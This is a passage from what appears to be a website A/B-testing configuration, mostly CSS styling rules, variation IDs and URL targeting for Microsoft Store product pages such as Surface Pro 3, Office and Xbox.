.experiment-surfacepdp #overview section.campuslegend .grid-unit .productshot{\n float:none !important;\n }\n}\n@media \nonly screen and (max-width: 320px){\n .experiment-surfacepdp section.campuslegend{\n margin-bottom:2.6em;\n }\n .experiment-surfacepdp section.campuslegend h2{\n font-size:1.8em;\n margin-top:8px;\n }\n .experiment-surfacepdp #overview section.campuslegend .grid-unit .productshot{\n width:100%;\n }\n}\n\n/* Up All Night */\n.experiment-surfacepdp section.upallnight{\nbackground-color:#f2f2f2;\nmargin-top:0;\n}\n.experiment-surfacepdp section.upallnight .text{\nmargin-top:90px;\n}\n.experiment-surfacepdp section.upallnight .usb3{\nmargin-top:38px;\n}\n.experiment-surfacepdp section.upallnight .productshot{\nfloat:right;\nwidth:90%;\n}\n/*************** Responsive Desktop ***************/\n@media \nonly screen and (max-width: 1050px){\n .experiment-surfacepdp #overview section.upallnight{ \n margin-top:50px;\n }\n .experiment-surfacepdp section.upallnight .text{ \n margin-top:0px;\n }\n}\n/*************** Responsive Tablet ***************/\n@media \nonly screen and (max-width: 768px){\n .experiment-surfacepdp #overview section.upallnight{ \n min-height:100%;\n }\n .experiment-surfacepdp section.upallnight .grid-unit{\n width:50% !important;\n }\n .experiment-surfacepdp section.upallnight .text{ \n margin-top:0px;\n width:100%;\n }\n .experiment-surfacepdp section.upallnight .text h2{\n font-size:2em;\n }\n .experiment-surfacepdp section.upallnight .grid-unit.expand-mobile, \n .experiment-surfacepdp section.upallnight .tablet-view{\n display:block;\n width:100% !important;\n }\n .experiment-surfacepdp section.upallnight .desktop-view{\n display:none;\n }\n}\n@media \nonly screen and (max-width: 480px){\n .experiment-surfacepdp section.upallnight .desktop-view{\n display:none;\n }\n .experiment-surfacepdp section.upallnight .mobile-view{\n display:block;\n }\n .experiment-surfacepdp section.upallnight .grid-unit{\n width:100% !important;\n }\n .experiment-surfacepdp section.upallnight .text h2{\n font-size:1.8em;\n } \n}\n\n\n/* All Work, No Way */\n.experiment-surfacepdp section.allwork{\nbackground-color:#f2f2f2;\nmargin-top:0 !important;\n}\n.experiment-surfacepdp section.allwork .text{\nmargin-top:60px;\n}\n/*************** Responsive Tablet ***************/\n@media \nonly screen and (max-width: 1050px){\n .experiment-surfacepdp #overview section.allwork{\n min-height:100%;\n margin-top:2.6em !important;\n }\n .experiment-surfacepdp section.allwork .grid-unit{\n width:45% !important;\n }\n .experiment-surfacepdp section.allwork .grid-unit + .grid-unit{\n width:55% !important;\n }\n .experiment-surfacepdp section.allwork .text{\n margin-top:0;\n }\n}\n@media screen and (max-width: 768px) {\n .experiment-surfacepdp section.allwork h2{\n font-size:1.8em;\n margin-top:8px;\n }\n .experiment-surfacepdp section.allwork .grid-unit{\n width:52% !important;\n }\n .experiment-surfacepdp section.allwork .grid-unit + .grid-unit{\n width:48% !important;\n }\n}\n@media screen and (max-width: 650px) {\n .experiment-surfacepdp #overview section.allwork .grid-container{\n width:95%;\n margin:0 2.5%;\n }\n .experiment-surfacepdp #overview section.allwork .grid-unit{\n width:100% !important;\n float:none;\n }\n}\n@media \nonly screen and (max-width: 480px){\n .experiment-surfacepdp section.allwork .grid-unit{\n padding-top:0 !important;\n }\n}\n@media \nonly screen and (max-width: 320px){\n .experiment-surfacepdp section.allwork h2{\n font-size:1.8em;\n margin-top:8px;\n }\n}\n/* Creativity */\n.experiment-surfacepdp section.creativity{\nbackground-color:#f2f2f2;\nposition:relative;\nmargin-top:0 !important;\nmin-height:450px;\nclear:both;\nbackground:url('//cdn.optimizely.com/img/222980912/0fc3a1346a47410b9f47b5d089aa6a1f.jpg') no-repeat center top;\n}\n.experiment-surfacepdp section.creativity .grid-row{\npadding-bottom:3.6em;\n}\n.experiment-surfacepdp section.creativity .main-background{\nposition:absolute;\nleft:0;\nmax-width:auto;\n}\n.experiment-surfacepdp section.creativity .text{\nbackground-color:#534588;\nopacity:0.95;\nfilter:alpha(opacity=95); /* For IE8 and earlier */\ncolor:#fff;\npadding:20px 23px 55px 23px;\nposition:relative;\nleft:-27px;\ntop:-30px;\n}\n.experiment-surfacepdp section.creativity .grid-unit.has-text{\nwidth:45%;\n}\n/*************** Desktop ***************/\n@media \nonly screen and (max-width: 1050px){\n .experiment-surfacepdp section.creativity .text{\n left:20px;\n }\n}\n/*************** Responsive Tablet ***************/\n@media \nonly screen and (max-width: 1050px){\n .experiment-surfacepdp section.creativity{\n margin-top:2.6em !important;\n }\n .experiment-surfacepdp section.creativity .desktop-view{\n min-height:430px;\n }\n .experiment-surfacepdp section.creativity .desktop-view .text{\n display:none !important;\n }\n .experiment-surfacepdp section.creativity .tablet-view{\n display:block;\n width:100%;\n margin:0;\n }\n .experiment-surfacepdp section.creativity .tablet-view .grid-unit.has-text{\n width:100%;\n }\n .experiment-surfacepdp section.creativity .tablet-view .text{\n margin-top:0;\n padding:43px 2.5% 35px 2.5%;\n width:100%;\n left:0;\n top:0;\n }\n}\n@media \nonly screen and (max-width: 768px){\n .experiment-surfacepdp section.creativity{\n background:url('//cdn.optimizely.com/img/222980912/30bb159cc8604b739deb7483bac84a5e.jpg') no-repeat left top;\n }\n .experiment-surfacepdp section.creativity .grid-container.desktop-view{\n min-height:100%;\n }\n .experiment-surfacepdp section.creativity .grid-row.column-3{\n height:360px !important;\n padding-top:0 !important;\n padding-bottom:0 !important;\n }\n .experiment-surfacepdp section.creativity h2{\n font-size:1.8em;\n margin-top:8px;\n }\n .experiment-surfacepdp section.creativity .text{\n padding:17px 2.5% 30px 2.5% !important;\n }\n}\n@media \nonly screen and (max-width: 320px){\n .experiment-surfacepdp section.creativity{\n background:url('//cdn.optimizely.com/img/222980912/07a38daf2d654e34a1d5e689ac5bb67c.jpg') no-repeat left top;\n }\n .experiment-surfacepdp section.creativity h2{\n font-size:1.8em;\n margin-top:8px;\n }\n .experiment-surfacepdp section.creativity .grid-container{\n min-height:100%;\n }\n .experiment-surfacepdp section.creativity .grid-row.column-3{\n height:241px !important;\n padding-bottom:0;\n padding-top:0;\n }\n .experiment-surfacepdp #overview section.creativity .text{\n padding:10px;\n }\n}\n/* Faster processor */\n.experiment-surfacepdp section.fasterprocessor{\nbackground-color:#f2f2f2;\nmargin-top:0 !important;\nclear:both;\n}\n.experiment-surfacepdp section.fasterprocessor .text{\nmargin-top:124px;\n}\n/*************** Responsive Tablet ***************/\n@media \nonly screen and (max-width: 1050px){\n .experiment-surfacepdp #overview section.fasterprocessor{\n min-height:100%;\n margin-bottom:2.6em;\n }\n .experiment-surfacepdp section.fasterprocessor .text{ \n margin-top:50px;\n }\n .experiment-surfacepdp section.fasterprocessor .text h2{\n font-size:2.2em;\n } \n}\n@media \nonly screen and (max-width: 768px){\n .experiment-surfacepdp #overview section.fasterprocessor{\n min-height:100%;\n }\n .experiment-surfacepdp section.fasterprocessor .grid-unit{\n width:50% !important;\n }\n .experiment-surfacepdp section.fasterprocessor .text{ \n margin-top:0px;\n }\n .experiment-surfacepdp section.fasterprocessor .text h2{\n font-size:2em;\n } \n}\n@media \nonly screen and (max-width: 480px){\n .experiment-surfacepdp section.fasterprocessor .grid-unit{\n width:100% !important;\n }\n .experiment-surfacepdp section.fasterprocessor .text h2{\n font-size:1.8em;\n } \n}\n@media \nonly screen and (max-width: 320px){\n .experiment-surfacepdp section.fasterprocessor .grid-unit{\n padding-top:0 !important;\n }\n .experiment-surfacepdp section.fasterprocessor .text{ \n margin-top:0px;\n }\n}\n/* Dual Kickstand */\n.experiment-surfacepdp section.dualkickstand{\nbackground-color:#f2f2f2;\nmargin-top:0 !important;\n}\n.experiment-surfacepdp section.dualkickstand .heading--larger{\nfont-size:2.4em;\n}\n.experiment-surfacepdp section.dualkickstand .text{\nmargin-top:118px;\n}\n.experiment-surfacepdp section.dualkickstand .productshot{\nfloat:right;\nwidth:90%;\n}\n/*************** Responsive Tablet ***************/\n@media \nonly screen and (max-width: 1050px){\n .experiment-surfacepdp #overview section.dualkickstand {\n min-height:100%;\n margin-bottom:2.6em;\n }\n .experiment-surfacepdp section.dualkickstand .text{ \n margin-top:70px;\n }\n .experiment-surfacepdp section.dualkickstand .text h2{\n font-size:2.2em;\n } \n}\n@media \nonly screen and (max-width: 768px){\n .experiment-surfacepdp #overview section.dualkickstand {\n min-height:100%;\n }\n .experiment-surfacepdp section.dualkickstand .grid-unit{\n width:50% !important;\n }\n .experiment-surfacepdp section.dualkickstand .text{ \n margin-top:0px;\n }\n .experiment-surfacepdp section.dualkickstand .text h2{\n font-size:2em;\n } \n}\n@media \nonly screen and (max-width: 480px){\n .experiment-surfacepdp section.dualkickstand .desktop-view{\n display:none;\n }\n .experiment-surfacepdp section.dualkickstand .mobile-view{\n display:block;\n }\n .experiment-surfacepdp section.dualkickstand .grid-unit{\n width:100% !important;\n }\n .experiment-surfacepdp section.dualkickstand .text h2{\n font-size:1.8em;\n } \n}\n/* Apps */\n.experiment-surfacepdp section.apps{\nbackground-color:#f2f2f2;\nmargin-top:0 !important;\nclear:both;\n}\n.experiment-surfacepdp section.apps .text{\nmargin-top:125px;\n}\n.experiment-surfacepdp section.apps .productshot{\nfloat:right;\n}\n/*************** Responsive Tablet ***************/\n@media \nonly screen and (max-width: 1050px){\n .experiment-surfacepdp #overview section.apps {\n min-height:100%;\n margin-bottom:2.6em;\n }\n .experiment-surfacepdp section.apps .text{ \n margin-top:70px;\n }\n .experiment-surfacepdp section.apps .text h2{\n font-size:2.2em;\n } \n}\n@media \nonly screen and (max-width: 768px){\n .experiment-surfacepdp #overview section.apps{ \n min-height:100%;\n }\n .experiment-surfacepdp section.apps .grid-unit{\n width:50% !important;\n }\n .experiment-surfacepdp section.apps .text{ \n margin-top:0px;\n }\n .experiment-surfacepdp section.apps .text h2{\n font-size:2em;\n } \n}\n@media \nonly screen and (max-width: 480px){\n .experiment-surfacepdp section.apps .desktop-view{\n display:none;\n }\n .experiment-surfacepdp section.apps .mobile-view{\n display:block;\n }\n .experiment-surfacepdp section.apps .grid-unit{\n width:100% !important;\n }\n .experiment-surfacepdp section.apps .text h2{\n font-size:1.8em;\n } \n}\n@media \nonly screen and (max-width: 320px){\n .experiment-surfacepdp section.apps .grid-unit{\n padding-top:0 !important;\n }\n}\n/* Ports*/\n.experiment-surfacepdp section.ports{\nbackground-color:#f2f2f2;\nmargin-top:0 !important;\n}\n.experiment-surfacepdp section.ports .text{\nmargin-top:90px;\n}\n.experiment-surfacepdp section.ports .usb3{\nmargin-top:38px;\n}\n.experiment-surfacepdp section.ports .productshot{\nfloat:right;\nwidth:90%;\n}\n/*************** Responsive Tablet ***************/\n@media \nonly screen and (max-width: 768px){\n .experiment-surfacepdp #overview section.ports{ \n min-height:100%;\n }\n .experiment-surfacepdp section.ports .grid-unit{\n width:50% !important;\n }\n .experiment-surfacepdp section.ports .text{ \n margin-top:0px;\n }\n .experiment-surfacepdp section.ports .text h2{\n font-size:2em;\n } \n}\n@media \nonly screen and (max-width: 480px){\n .experiment-surfacepdp section.ports .desktop-view{\n display:none;\n }\n .experiment-surfacepdp section.ports .mobile-view{\n display:block;\n }\n .experiment-surfacepdp section.ports .grid-unit{\n width:100% !important;\n }\n .experiment-surfacepdp section.ports .text h2{\n font-size:1.8em;\n } \n}\n/* List images*/\n.experiment-surfacepdp section.listimages{\nbackground-color:#f2f2f2;\nmargin-top:0 !important;\nheight:auto !important;\nclear:both;\n}\n.experiment-surfacepdp section.listimages .grid-row.column-3{\npadding-top:2.5em;\n}\n.experiment-surfacepdp section.listimages .grid-unit h2{\nfont-size:1.8em;\ndisplay:block;\nmargin-bottom:21px;\n}\n@media \nonly screen and (max-width: 480px){\n .experiment-surfacepdp section.listimages h2{\n font-size:1.8em;\n margin-top:8px;\n }\n .experiment-surfacepdp section.listimages .grid-unit{\n padding-top:0 !important;\n }\n}\n/* Product Footer */\n.experiment-surfacepdp #product-footer .grid-container p{\npadding-top:.3em;\nfont-size:.8em;\n}\n\n\n\n/* IE 8 Fixes */\n.lt-ie9.experiment-surfacepdp section.note-worthy .text{\nbackground-color:#534588;\nfilter:alpha(opacity=95); /* For IE8 and earlier */\n}\n.lt-ie9.experiment-surfacepdp section.creativity .text{\nwidth:500px;\n}\n.lt-ie9.experiment-surfacepdp .youtube-container .mfp-close{\ntop:-27px !important;\n}\n\n\n\n\n\n\n\n\n\n/*************** Responsive Tablet ***************/\n@media screen and (max-width: 768px) {\n .experiment-surfacepdp #overview1{\n height:auto !important;\n overflow:visible !important;\n }\n}","variation_ids":["2341180240","2330340818"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Surface-Pro-3/productID.300190600"}],"enabled_variation_ids":["2341180240","2330340818"]},"2131197808":{"css":"/* Scrollable Overrides */\n.rwd.exp-modal-open{\nposition:fixed;\n}\n/* Loading Info Styles */\n.experiment-inventoryawareness .exp-checkavailability{\nmargin:15px 0; \nfont-size:14px;\n}\n.experiment-inventoryawareness .exp-storeloadingmessage.hasstyle{\nheight:50px;\nline-height:50px;\nwidth:90%;\nborder:1px solid #373737;\ntext-align:center;\nfont-weight:bold;\ncolor:#373737;\nmargin:10px auto 10px auto;\nborder-radius:5px;\n}\n.experiment-inventoryawareness .exp-storeloadingmessage.hide{\ndisplay:none;\n}\n/* Modal Styles */\n.experiment-inventoryawareness .exp-storeinfo .mfp-content{\nwidth:640px;\nmax-width:640px;\npadding-top:0 !important;\nmargin:30px 0 30px 0;\n}\n.experiment-inventoryawareness .exp-inventorymodal{\nbackground-color:#f8f8f8;\n}\n.experiment-inventoryawareness .exp-inventorymodal .cf{\nclear:both;\n}\n.experiment-inventoryawareness .exp-inventorymodal .storelookupwrapper{\npadding:30px;\nbackground-color:#ebebeb;\nheight:110px;\n}\n.experiment-inventoryawareness .exp-inventorymodal .storelookupwrapper .title{\nwidth:300px;\nfloat:left;\n}\n.experiment-inventoryawareness .exp-inventorymodal .storelookupwrapper .location-search{\nwidth:250px;\nfloat:right;\nmargin-top:10px;\nposition:relative;\n}\n.experiment-inventoryawareness .exp-inventorymodal .storelookupwrapper h3{\nfont-family:\"wf_SegoeUI\",\"Segoe UI Light\",\"Segoe WP Light\",\"Segoe UI\",\"Segoe\",\"Segoe WP\",\"Tahoma\",\"Verdana\",\"Arial\",\"sans-serif\";\nfont-size:22px;\n}\n.experiment-inventoryawareness .exp-inventorymodal .storelookupwrapper h4{\nfont-family:\"wf_SegoeUI\",\"Segoe UI Light\",\"Segoe WP Light\",\"Segoe UI\",\"Segoe\",\"Segoe WP\",\"Tahoma\",\"Verdana\",\"Arial\",\"sans-serif\";\nfont-size:13px;\n}\n.experiment-inventoryawareness .exp-inventorymodal .exp-storedataresults{\npadding:15px;\n}\n.experiment-inventoryawareness .exp-inventorymodal .exp-storedataresults .exp-datarow{\nborder-bottom:1px solid #e9e9e9;\nmargin-bottom:20px;\npadding-bottom:20px;\n}\n.experiment-inventoryawareness .exp-inventorymodal .exp-datarow .column1{\nwidth:250px;\nfloat:left;\n}\n.experiment-inventoryawareness .exp-inventorymodal .exp-datarow .column2{\nwidth:200px;\nfloat:left;\nmargin-left:25px;\nmargin-top:5px;\n}\n.experiment-inventoryawareness .exp-inventorymodal .exp-datarow .column3{\nmargin-left:25px;\nwidth:100px;\nfloat:left;\n}\n/* Column Layouts */\n.experiment-inventoryawareness .exp-inventorymodal .column1,\n.experiment-inventoryawareness .exp-inventorymodal .column2,\n.experiment-inventoryawareness .exp-inventorymodal .column3{\nfont-size:13px;\n}\n.experiment-inventoryawareness .exp-inventorymodal .column1 .storeaddress{\nmin-height:62px;\n}\n.experiment-inventoryawareness .exp-inventorymodal .column1 .address{\nfont-size:16px;\nfont-weight:bold;\n}\n.experiment-inventoryawareness .exp-inventorymodal .column1 .maplink{\nfont-weight:bold;\n}\n.experiment-inventoryawareness .exp-inventorymodal .column2 .storehours{\nfont-weight:bold;\n}\n.experiment-inventoryawareness .exp-inventorymodal .column3 .stockstatus{\nfont-weight:bold;\n}\n.experiment-inventoryawareness .exp-inventorymodal .exp-loading-image{\nmargin:25px auto;\ndisplay:block;\n}\n/* Search */\n.experiment-inventoryawareness .exp-inventorymodal .exp-search-value{\nborder: 1px solid #cdcbcb;\nborder-right: 0;\nfloat:left;\nheight: 28px;\nfont-size: 12px;\nwidth: 201px;\npadding-left: 10px;\nbackground-color:#fff;\n}\n.experiment-inventoryawareness .exp-inventorymodal .exp-search-button{ \nfont-family: 'mshp_iconsregular';\ndisplay: inline-block;\nwidth: 25px;\nheight: 28px;\nline-height:28px;\nbackground-color:#fff;\nfont-size: 21px;\ncolor:#000;\nborder: 1px solid #cdcbcb;\nborder-left: 0;\nfloat:left;\ntext-decoration:none;\n}\n.experiment-inventoryawareness .exp-inventorymodal .exp-search-button:after{\ncontent:'\\e004';\n}\n.experiment-inventoryawareness .exp-inventorymodal .exp-search-error{\ndisplay:none;\ncolor:#ce460a;\nposition:absolute;\nbottom:-20px;\nfont-size:12px;\n}\n.experiment-inventoryawareness .exp-inventorymodal .exp-search-error.show{\ndisplay:block;\n}\n/* Tablet Views */\n#body.exp-hide-pdp > div{\ndisplay:none !important\n}\n#body.exp-hide-pdp > div.exp-store-results{\ndisplay:block !important;\n}\nhtml.exp-tablet-view header .stripe{\ndisplay:none;\n}\n.experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .column1,\n.experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .column2{\nwidth:45%;\n}\n.experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .exp-continueshopping-wrapper{\nbackground-color:#fff;\npadding-bottom:10px;\nfont-size:12px;\ndisplay:block;\n}\n.experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .exp-continueshopping-wrapper a.exp-continueshopping{\nmargin-left:10px;\ndisplay:inline-block;\n}\n.experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .stockstatus{\nmargin-bottom:15px;\nfont-weight:bold;\ndisplay:block;\n}\n.experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .storelookupwrapper{\nheight:160px;\n}\n.experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .storelookupwrapper .title,\n.experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .storelookupwrapper .location-search{\nfloat:none;\n}\n.experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .storelookupwrapper .location-search{\nheight:30px;\nmargin-top:15px;\n}\n.experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .exp-storedataresults .exp-datarow{\nborder-bottom:1px solid #bcbcbc;\n}\n\n@media \nonly screen and (max-width: 480px){\n .experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .column1,\n .experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .column2{\n width:100%;\n margin-left:0;\n }\n .experiment-inventoryawareness .exp-inventorymodal .storelookupwrapper{\n padding:30px 15px;\n }\n .experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .column2{\n margin-top:20px;\n }\n .experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .storeaddress{\n margin-bottom:0;\n }\n .experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .location-search{\n width:320px;\n }\n .experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .exp-search-value{\n width:261px;\n }\n .experiment-inventoryawareness .exp-inventorymodal.exp-tablet-view .column1 .storeaddress{\n min-height:30px;\n }\n}\n\n/* Error message */\n.experiment-inventoryawareness .exp-inventorymodal .exp-errormsg{\nwidth:85%;\nmargin:0 auto;\n}\n.experiment-inventoryawareness .exp-inventorymodal .exp-errormsg h4{\nfont-size:26px;\n}\n.experiment-inventoryawareness .exp-inventorymodal .exp-errormsg h5{\nfont-size:16px;\n}\n/* No Results */\n.experiment-inventoryawareness .exp-inventorymodal .exp-noresultsmsg{\nwidth:85%;\nmargin:0 auto;\n}\n.experiment-inventoryawareness .exp-inventorymodal .exp-noresultsmsg h4{\nfont-size:22px;\n}","variation_ids":["2146430397","2102253489"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/"}],"enabled_variation_ids":["2146430397","2102253489"]},"2600460454":{"css":"html.hide-chat #videodesk{\n display:none !important;\n}","variation_ids":["2584051933","2572260489"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/list/Xbox-One-consoles/categoryID.64724200"}],"enabled_variation_ids":["2584051933","2572260489"]},"2374960305":{"clicktale":true,"variation_weights":{"2375811826":3333,"2363820556":3333,"2375000266":3334},"enabled":true,"variation_ids":["2375000266","2363820556","2375811826"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Office/categoryID.62684700"},{"match":"substring","value":"/categoryID.62684700"}],"enabled_variation_ids":["2375000266","2363820556","2375811826"]},"2016840371":{"variation_ids":["2013750486","2018240916","2015740240"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Office/categoryID.62684700"},{"match":"substring","value":"categoryID.62684700"}],"enabled_variation_ids":["2013750486","2018240916","2015740240"]},"2580430011":{"variation_ids":["2568270024","2569390032"],"urls":[{"match":"simple","value":"http://www.microsoft.com/en-us/store/locations/ca/cerritos/los-cerritos-center/store-1072"}],"enabled_variation_ids":["2568270024","2569390032"]},"2175950526":{"css":"#ms_PDP_Buy_Button_Promo_Text .shipping-return-text{\nfont-weight:bold;\n}","variation_ids":["2155830703","2180860570"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Office-365-Home/productID.286395000"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Office-365-Personal/productID.297833200"}],"enabled_variation_ids":["2155830703","2180860570"]},"2154620534":{"css":".experiment-product-visibility.exp-variation1 .product-row .product:hover .content-container .heading--small{\n text-decoration:underline; \n}\n.experiment-product-visibility.exp-variation2 .rwd .category-products a.product:hover{\n outline-width:3px; \n}","variation_ids":["2183080269","2173480188","2158562292"],"urls":[{"match":"substring","value":"http://www.microsoftstore.com/store/msusa/en_US"}],"enabled_variation_ids":["2183080269","2173480188","2158562292"]},"2197801166":{"variation_ids":["2225380038","2205211924","2211310964","2223000029"],"urls":[{"match":"substring","value":"/productID.307284600"},{"negate":true,"match":"substring","value":"/buy"}],"enabled_variation_ids":["2225380038","2205211924","2211310964","2223000029"]},"2571090645":{"css":"html.hide-chat #videodesk{\n display:none !important;\n}","variation_ids":["2604210168","2599530436"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Office-365-Home/productID.286395000"}],"enabled_variation_ids":["2604210168","2599530436"]},"2154870483":{"css":".exp-videobanner{\n color:#fff; \n}\n.exp-videobanner .box-container{\n width:50%;\n position:absolute;\n right:0;\n bottom:0;\n}\n.exp-videobanner .boxshot{\nwidth:75%;\nmax-width:569px;\nposition:relative;\ntop:20px;\n}\n\n@media \nonly screen and (min-width: 540px) and (max-width: 768px){\n .exp-videobanner .box-container{\n right:15%; \n }\n .exp-videobanner .boxshot{\n width:120%;\n }\n \n \n}\n\n\n\n@media \nonly screen and (max-width: 540px){\n\n .exp-videobanner .box-container{\n bottom:inherit;\n }\n .exp-videobanner .boxshot{\n float:right;\n margin-right:10px;\n width:85%;\n }\n .rwd .full-page-splash.exp-videobanner .splash-overlay{\n width:50%;\n margin:0 0 0 10px;\n }\n .rwd .full-page-splash.exp-videobanner .content-container{\n background-color:#107c10;\n margin-top:-10px;\n }\n}","variation_ids":["2171970269","2174580271","2153690982"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Xbox/categoryID.62684900"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Xbox-One/categoryID.64484500"}],"enabled_variation_ids":["2171970269","2174580271","2153690982"]},"2404610261":{"variation_ids":["2441420140","2432520142"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Xbox-One-Assassins-Creed-Unity-Bundle/productID.307070100"}],"enabled_variation_ids":["2441420140","2432520142"]},"2513890015":{"audiences":[2098840430,2445740027],"css":".rwd header.onesite-header .site-header-togglers .desktop-cart-menu-container{\ndisplay: inline-block;\ntop: -0.25em;\nmargin-left:4px;\nposition:relative;\n}\n.rwd header.onesite-header .site-header-togglers .desktop-cart-menu-container .cart{\n margin-top:0; \nfont-size: 1em;\npadding: 1.25em;\npadding-top: 1.1875em;\npadding-bottom: 1.375em;\nz-index: 1;\nbackground: #fff;\nposition: relative;\ntop:3px;\nline-height: 1.25em; \n}\n.rwd header.onesite-header .site-header-togglers .desktop-cart-menu-container .cart.active{\n border-left: 1px solid #e1e1e1;\nborder-right: 1px solid #e1e1e1;\nmargin-left: -1px;\nmargin-right: -1px;\nfont-weight: normal; \nz-index: 492;\n}\n\n#desktop-cart-menu-links{\nmargin-right: -100px;\n max-height: 0;\n position: absolute;\nz-index: 491;\nbackground: #fff;\ntop: 3.65em;\nright: 0;\nmin-width: 16.875em;\nwidth: 315px;\n-webkit-transition: max-height 0.5s linear;\n-moz-transition: max-height 0.5s linear;\n-o-transition: max-height 0.5s linear;\ntransition: max-height 0.5s linear;\n}\n.displaying.opened#desktop-cart-menu-links{\noverflow: hidden;\nmax-height: 800px;\nmargin-top:8px;\n}\n#desktop-cart-menu-links .inner-wrapper{\n border: 1px solid #e1e1e1; \n padding: 25px 30px;\n display:none;\n}\n#desktop-cart-menu-links.opened .inner-wrapper{\n display:block; \n}\n#desktop-cart-menu-links h3{\n font-weight:bold;\n margin-bottom:10px;\n font-size:18px;\n}\n.displaying.opened#desktop-cart-menu-links li{\n margin-top:5px;\n margin-bottom:15px;\n}\n.displaying.opened#desktop-cart-menu-links li .image{\n width:45px;\n display:table-cell;\n}\n.displaying.opened#desktop-cart-menu-links li .image img,\n.displaying.opened#desktop-cart-menu-links li .image a{\n width:45px; \n}\n.displaying.opened#desktop-cart-menu-links li .info{\nwidth:190px;\n display: table-cell;\nvertical-align: middle;\npadding-left: 20px;\n}\n.displaying.opened#desktop-cart-menu-links li .info a{\nfont-size:1em;\n} \n.displaying.opened#desktop-cart-menu-links .view-cart{\npadding:1.5em 1.875em 1.5em 1.875em;\ndisplay:block;\nbackground-color: #bad80a;\ncolor: #000;\ntext-align: center;\nfont-size:16px;\n}\n.displaying.opened#desktop-cart-menu-links .view-cart:hover{\n background-color: #7fba00; \n color:#fff;\n}\n.displaying.opened#desktop-cart-menu-links li.loading-image img{\n margin:0 auto;\n display:block;\n}\n.displaying.opened.close-animation#desktop-cart-menu-links{\n max-height:0 !important; \n}\n\n@media \nonly screen and (max-width: 900px){\n #desktop-cart-menu-links{\n margin-right:-30px; \n }\n}","clicktale":true,"variation_ids":["2509780018","2518680021"],"urls":[{"match":"substring","value":"http://www.microsoftstore.com/store/msusa/en_US/"},{"negate":true,"match":"substring","value":"DisplayThreePgCheckoutShoppingCartPage"}],"enabled_variation_ids":["2509780018","2518680021"]},"2341851371":{"variation_ids":["2366710904","2341921124","2319702609"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Office/categoryID.62684700"}],"enabled_variation_ids":["2366710904","2341921124","2319702609"]},"1197653232":{"conditions":[{"type":"url","values":[{"value":"/buy/productID","match":"substring"}]},{"only_first_time":true,"type":"visitor","value":"all"}],"css":"/* Base page overrides */\n.experiment-quickview-modal #dr_quickviewOverlay{\ndisplay:none !important;\n}\n/* Modal Overrides */\n.exp-quickview .mfp-close{\ntop:-5px;\n}\n.exp-quickview .mfp-content{\nmax-width:848px;\n}\n\n/* Modal Style */\n.exp-preview-modal{\nwidth:848px;\nheight:508px;\nbackground-color:#fff;\n}\n.exp-preview-modal .column1{\nwidth:68px;\nfloat:left;\nheight:100%;\nbackground-color:#000;\n}\n.exp-preview-modal .column2{\nwidth:380px;\nfloat:left;\nheight:100%;\n}\n.exp-preview-modal .column2 .exp-prod-image{\nmargin-right:17px;\nmargin-top:17px;\nmargin-bottom:25px;\n}\n.exp-preview-modal .column2 .col-content{\nmargin:0 17px 0 34px;\n}\n.exp-preview-modal .column2 .heading--medium{\nfont-weight:bold;\n}\n.exp-preview-modal .column2 .producttitle{\nmargin-top:25px;\n}\n.exp-preview-modal .column2 .price{\nmargin-top:25px;\n}\n.exp-preview-modal .column2 .add-to-cart{\ndisplay:block;\nwidth:172px;\nheight:38px;\nline-height:38px;\ntext-align:center;\npadding:0;\nmargin-top:19px;\n}\n.exp-preview-modal .column3{\nwidth:400px;\nfloat:right;\nheight:100%;\n}\n.exp-preview-modal .column3 .col-content{\nmargin:0 42px 0 17px;\n}\n.exp-preview-modal .cf{\nclear:both;\n}\n.exp-preview-modal .column1 ul{\nwidth:44px;\nmargin:10px auto 10px auto;\n}\n.exp-preview-modal .column1 a{\ndisplay:block;\nheight:48px;\nmargin-bottom:5px;\n}\n.exp-preview-modal .column1 li.selected a{\nborder-bottom:2px solid #00bcf2;\n}\n.exp-preview-modal .column1 img{\nborder:1px solid #d4d4d4;\nmargin-bottom:1px;\n}\n.exp-preview-modal .column3{\noverflow-x:hidden;\noverflow-y:scroll;\nbackground-color:#f8f8f8;\n}\n.exp-preview-modal .column3 .col-content{\npadding:38px 0;\n}\n.exp-preview-modal .column3 .thumbnail{\nwidth:100%;\nheight:auto;\n}\n.exp-preview-modal .column3 .col-content .heading--medium{\nfont-weight:bold;\n}\n.exp-preview-modal .column3 .exp-techspecs .grid-container{\nmin-width:395px;\nmax-width:400px;\n}\n.exp-preview-modal .spec-table.specs-pdp .grid-row .grid-unit+.grid-unit+.grid-unit{\ndisplay:none;\n}\n.exp-preview-modal .spec-table.specs-pdp .grid-row .grid-unit:first-child img{\ndisplay:none;\n}","variation_ids":["1206393367","1201602872"],"ignore":10000,"enabled_variation_ids":["1206393367","1201602872"]},"1855780081":{"css":".exp-signaturebranding 